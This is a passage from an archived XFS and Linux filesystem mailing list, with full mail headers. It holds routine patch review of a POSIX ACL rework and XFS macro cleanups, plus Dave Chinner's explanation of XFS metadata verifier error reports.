X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 10:29:08AM -0800, Christoph Hellwig wrote: > Looks reasonable, but it might be worth to add a blurb on how you > arrived at the magic 8 threads per cpu. OK - that was simply that processing with 8 threads is more than enough to saturate a single CPU on fast devices so we don't need any more parallelism in this case. And when you have large slow devices, 8 threads is more than enough to saturate the IO subsystem.... I'll add a comment mentioning that. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 15:04:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BA4ED7F3F for ; Thu, 12 Dec 2013 15:04:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9B060304067 for ; Thu, 12 Dec 2013 13:04:52 -0800 (PST) X-ASG-Debug-ID: 1386882291-04bdf013211f1a20001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id fTIO0fKIZRYhOFJk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 13:04:51 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrDR1-0007EA-Bd; Thu, 12 Dec 2013 21:04:39 +0000 Date: Thu, 12 Dec 2013 13:04:39 -0800 From: Christoph Hellwig To: Andreas Gruenbacher Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Jan Kara Subject: Re: [PATCH 02/18] fs: add get_acl helper Message-ID: <20131212210439.GA27686@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 02/18] fs: add get_acl helper References: <20131211104243.148113893@bombadil.infradead.org> <20131211104526.648135334@bombadil.infradead.org> <1724169901.69108.1386875169382.JavaMail.zimbra@linbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1724169901.69108.1386875169382.JavaMail.zimbra@linbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386882291 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Dec 12, 2013 at 08:06:09PM +0100, Andreas Gruenbacher wrote: > > + /* > > + * A filesystem can force a ACL callback by just never filling the > > + * ACL cache. But normally you'd fill the cache either at inode > > + * instantiation time, or on the first ->get_acl call. > > + * > > + * If the filesystem doesn't have a get_acl() function at all, we'll > > + * just create the negative cache entry. > > + */ > > + if (!inode->i_op->get_acl) { > > + set_cached_acl(inode, type, NULL); > > + return ERR_PTR(-EAGAIN); > > The function should return NULL here. Indeed. EAGAIN is the convention check_acl() in fs/namei.c uses, but it will return that automatically if we just return NULL here. From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 15:05:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1BB4E7F5A for ; Thu, 12 Dec 2013 15:05:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0AF8C30406A for ; Thu, 12 Dec 2013 13:05:10 -0800 (PST) X-ASG-Debug-ID: 1386882309-04cbb041666e9960001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id F15Bx5TiCl8C3aod (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 13:05:10 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrDRO-0007ba-HC; Thu, 12 Dec 2013 21:05:02 +0000 Date: Thu, 12 Dec 2013 13:05:02 -0800 From: Christoph Hellwig To: Andreas Gruenbacher Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Jan Kara Subject: Re: [PATCH 05/18] fs: make posix_acl_chmod more useful Message-ID: <20131212210502.GB27686@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 05/18] fs: make posix_acl_chmod more useful References: <20131211104243.148113893@bombadil.infradead.org> <20131211104527.223923019@bombadil.infradead.org> <389888733.69110.1386875240679.JavaMail.zimbra@linbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <389888733.69110.1386875240679.JavaMail.zimbra@linbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386882310 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 08:07:20PM +0100, Andreas Gruenbacher wrote: > Christoph, > > > +int > > +posix_acl_chmod(struct inode *inode) > > +{ > > + struct posix_acl *acl; > > + int ret = 0; > > + > > + if (S_ISLNK(inode->i_mode) || !inode->i_op->set_acl) > > + return -EOPNOTSUPP; > > Symlinks never have get_acl callbacks, so I would remove the S_ISLNK() check here. Yeah, will simplify it. Same for the other places where we have both checks. From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 15:05:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2424C7F3F for ; Thu, 12 Dec 2013 15:05:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 137998F8064 for ; Thu, 12 Dec 2013 13:05:39 -0800 (PST) X-ASG-Debug-ID: 1386882337-04cb6c537d6e3a10001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 2lbBOQuVvphf2IbM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 13:05:38 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VrDRr-0008I7-2G; Thu, 12 Dec 2013 21:05:31 +0000 Date: Thu, 12 Dec 2013 13:05:31 -0800 From: Christoph Hellwig To: Andreas Gruenbacher Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 16/18] gfs2: use generic posix ACL infrastructure Message-ID: <20131212210531.GC27686@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 16/18] gfs2: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> <20131211104529.142731540@bombadil.infradead.org> <966512490.69128.1386875318581.JavaMail.zimbra@linbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <966512490.69128.1386875318581.JavaMail.zimbra@linbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386882338 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Dec 12, 2013 at 08:08:38PM +0100, Andreas Gruenbacher wrote: > Christoph, > > gfs2 has a left-over get_acl callback in gfs2_symlink_iops in > fs/gfs2/inode.c, from a long time ago, which should be removed > as well. Ok, will fix. From david@fromorbit.com Thu Dec 12 15:27:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AA2307F37 for ; Thu, 12 Dec 2013 15:27:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9939E30406A for ; Thu, 12 Dec 2013 13:27:19 -0800 (PST) X-ASG-Debug-ID: 1386883637-04cb6c537b6e4420001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id OAuhMRxhiyJ3ZGtX for ; Thu, 12 Dec 2013 13:27:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am0NADEpqlJ5LHyk/2dsb2JhbABZgwo4gwShHwOPOIVPgRwXdIIlAQEEAQ4sHA8UBQsIAxgJJQ8FJQMhE4d8Bw7DIxcWji0BAU8HgyKBEwSYFIExiRuHSYM9KIEuBxcG Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 07:57:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrDmr-0002f1-SQ; Fri, 13 Dec 2013 08:27:13 +1100 Date: Fri, 13 Dec 2013 08:27:13 +1100 From: Dave Chinner To: Eric Sandeen Cc: Dave Jones , xfs@oss.sgi.com Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN Message-ID: <20131212212713.GC10988@dastard> X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN References: <20131211172725.GA4606@redhat.com> <20131211230128.GM10988@dastard> <52A9E0EF.1000206@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A9E0EF.1000206@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386883637 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 10:14:39AM -0600, Eric Sandeen wrote: > On 12/11/13, 5:01 PM, Dave Chinner wrote: > > On Wed, Dec 11, 2013 at 12:27:25PM -0500, Dave Jones wrote: > >> Powered up my desktop this morning and noticed I couldn't cd into ~/Mail > >> dmesg didn't look good. "XFS: Internal error XFS_WANT_CORRUPTED_RETURN" > >> http://codemonkey.org.uk/junk/xfs-1.txt > > > > They came from xfs_dir3_block_verify() on read IO completion, which > > indicates that the corruption was on disk and in the directory > > structure. Yeah, definitely a verifier error: > > > > XFS (sda3): metadata I/O error: block 0x2e790 ("xfs_trans_read_buf_map") error 117 numblks 8 > > > > Are you running a CRC enabled filesystem? (i.e. mkfs.xfs -m crc=1) > > > > Is there any evidence that this verifier has fired in the past on > > write? If not, then it's a good chance that it's a media error > > causing this, because the same verifier runs when the metadata is > > written to ensure we are not writing bas stuff to disk. > > Dave C, have you given any thought to how to make the verifier errors more > actionable? If davej throws up his hands, the rest of the world is obviously > in trouble. ;) The verifier behaviour is effectively boiler plate code. > To the inexperienced this looks like a "crash" thanks to the backtrace. > I do understand that it's necessary for bug reports, but I wonder if we > could preface it with something informative or instructive. Yup, It was done like that so it would scare people and they'd report verifier failures so that we had good visibility of problems they were detecting. So, from that perspective they are doing exactly what they were intended to do. In reality, the incidence of verifiers detecting corruption is no different from the long term historical trends of corruptions being reported. The only difference is that we are catching them immediately as the come off disk, rather than later on in the code when we can't tell if the problem is a code bug or an IO error. So, again, the verifiers are doing exactly what they were intended to do. > We also don't get a block number or inode number, although you or I can > dig the inode number out of the hexdump, in this case. That comes from the higher layer error message. We don't get it from the verifier simply because the boilerplate code doesn't report it. > We also don't get any details of what the values in the failed check were; > not from the check macro itself or from the hexdump, necessarily, since > it only prints the first handful of bytes. In most cases, the handful (64) of bytes is more than sufficient - it is big enough to contain the entire self-describing header for the object that failed, and that is enough to validate whether the corruption is a bad metadata block or something internal to the metadata structure itself. i.e. the hexdump has actually been carefully sized to balance between scary noise and useful for debugging. That said, we need to do some work on the verifiers - they need to be converted to use WANT_CORRUPTED_RETURN or a similar new corruption report. That way we know exactly what verifier test failed from the line of code it dumped from. A couple of the verifiers already do this (in the directory code), but the rest need to be converted across, too. We can easily add a more custom info to the failure by doing this (e.g. block number, whether it is a read or write verifier failure, etc); if we do this correctly then the stack trace that is currently being dumped can go away. We also need to distinguish between CRC validation errors and object format validation errors. We need this in userspace for xfs_repair, and it could replace the custom code in xfs_db that does this, so the kernel code needs to have it put in place first. IOWs, there's a bunch of verifier improvements that are in the works that should help this situation. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 16:05:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 361267F37 for ; Thu, 12 Dec 2013 16:05:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 160D38F8033 for ; Thu, 12 Dec 2013 14:05:43 -0800 (PST) X-ASG-Debug-ID: 1386885937-04cb6c537e6e51a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id rfJATadgBLmT1PmI for ; Thu, 12 Dec 2013 14:05:38 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HALwyqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQUnExwjEAgDFQMJJQ8FJQMhE4gDwyQXFo5+B4MigRMEmBSKTIdJgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 08:35:37 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrENy-0002nP-JO; Fri, 13 Dec 2013 09:05:34 +1100 Date: Fri, 13 Dec 2013 09:05:34 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 1/8] xfs: get rid of XFS_IALLOC_INODES macros Message-ID: <20131212220534.GD10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 1/8] xfs: get rid of XFS_IALLOC_INODES macros References: <52A967D4.4080903@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A967D4.4080903@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386885937 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 03:37:56PM +0800, Jeff Liu wrote: > From: Jie Liu > > Get rid of XFS_IALLOC_INODES() marcos, use mp->m_ialloc_inos directly. > > Signed-off-by: Jie Liu Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 16:06:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 251DE7F37 for ; Thu, 12 Dec 2013 16:06:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E685B8F8033 for ; Thu, 12 Dec 2013 14:06:54 -0800 (PST) X-ASG-Debug-ID: 1386886012-04bdf05ced46b60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Giob32WOnpf41Rpc for ; Thu, 12 Dec 2013 14:06:53 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HALwyqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQUnExwjEAgDFQMJJQ8FJQMhE4gDwyQXFo5+B4MigRMEmBSKTIdJgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 08:36:52 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrEPD-0002nX-IZ; Fri, 13 Dec 2013 09:06:51 +1100 Date: Fri, 13 Dec 2013 09:06:51 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/8] xfs: get rid of XFS_INODE_CLUSTER_SIZE macros Message-ID: <20131212220651.GE10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/8] xfs: get rid of XFS_INODE_CLUSTER_SIZE macros References: <52A967DD.3040909@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A967DD.3040909@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386886012 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 03:38:05PM +0800, Jeff Liu wrote: > From: Jie Liu > > Get rid of XFS_INODE_CLUSTER_SIZE() macros, use mp->m_inode_cluster_size > directly. Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 16:10:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0AA997F37 for ; Thu, 12 Dec 2013 16:10:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id ED72F304048 for ; Thu, 12 Dec 2013 14:09:56 -0800 (PST) X-ASG-Debug-ID: 1386886195-04cb6c537b6e5360001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id dGFkYNyEqxeJjlUn for ; Thu, 12 Dec 2013 14:09:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAOgzqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQUnExwjEAgDFQMJJQ8FJQMhE4gDwyQXFo5+B4MigRMEmBSKTIdJgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 08:39:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrES9-0002oL-5W; Fri, 13 Dec 2013 09:09:53 +1100 Date: Fri, 13 Dec 2013 09:09:53 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 3/8] xfs: get rid of XFS_IALLOC_BLOCKS macros Message-ID: <20131212220953.GF10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 3/8] xfs: get rid of XFS_IALLOC_BLOCKS macros References: <52A967E9.7070508@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A967E9.7070508@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386886195 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 03:38:17PM +0800, Jeff Liu wrote: > From: Jie Liu > > Get rid of XFS_IALLOC_BLOCKS() marcos, use mp->m_ialloc_blks directly. > > Signed-off-by: Jie Liu .... > @@ -1228,9 +1228,9 @@ xfs_difree( > goto error0; > } > > - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, > - agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), > - XFS_IALLOC_BLOCKS(mp), flist, mp); > + xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, > + XFS_INO_TO_AGBNO(mp, rec.ir_startino)), > + mp->m_ialloc_blks, flist, mp); > } else { > *delete = 0; > git-am fails to apply this hunk, but I'm not sure why. I updated it manually, the resulting patch looks identical. Other than that, it looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 16:10:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 61C697F37 for ; Thu, 12 Dec 2013 16:10:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E0752AC004 for ; Thu, 12 Dec 2013 14:10:45 -0800 (PST) X-ASG-Debug-ID: 1386886243-04cb6c537c6e53b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id GmWDXYCYgbjhu8KV for ; Thu, 12 Dec 2013 14:10:43 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAOgzqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQU6HCMQCAMVAwklDwUlAyETiAPDJBcWjn4HhDUEmBSKTIdJgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 08:40:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrESw-0002oT-3n; Fri, 13 Dec 2013 09:10:42 +1100 Date: Fri, 13 Dec 2013 09:10:42 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 4/8] xfs: introduce a common helper xfs_icluster_size_fsb Message-ID: 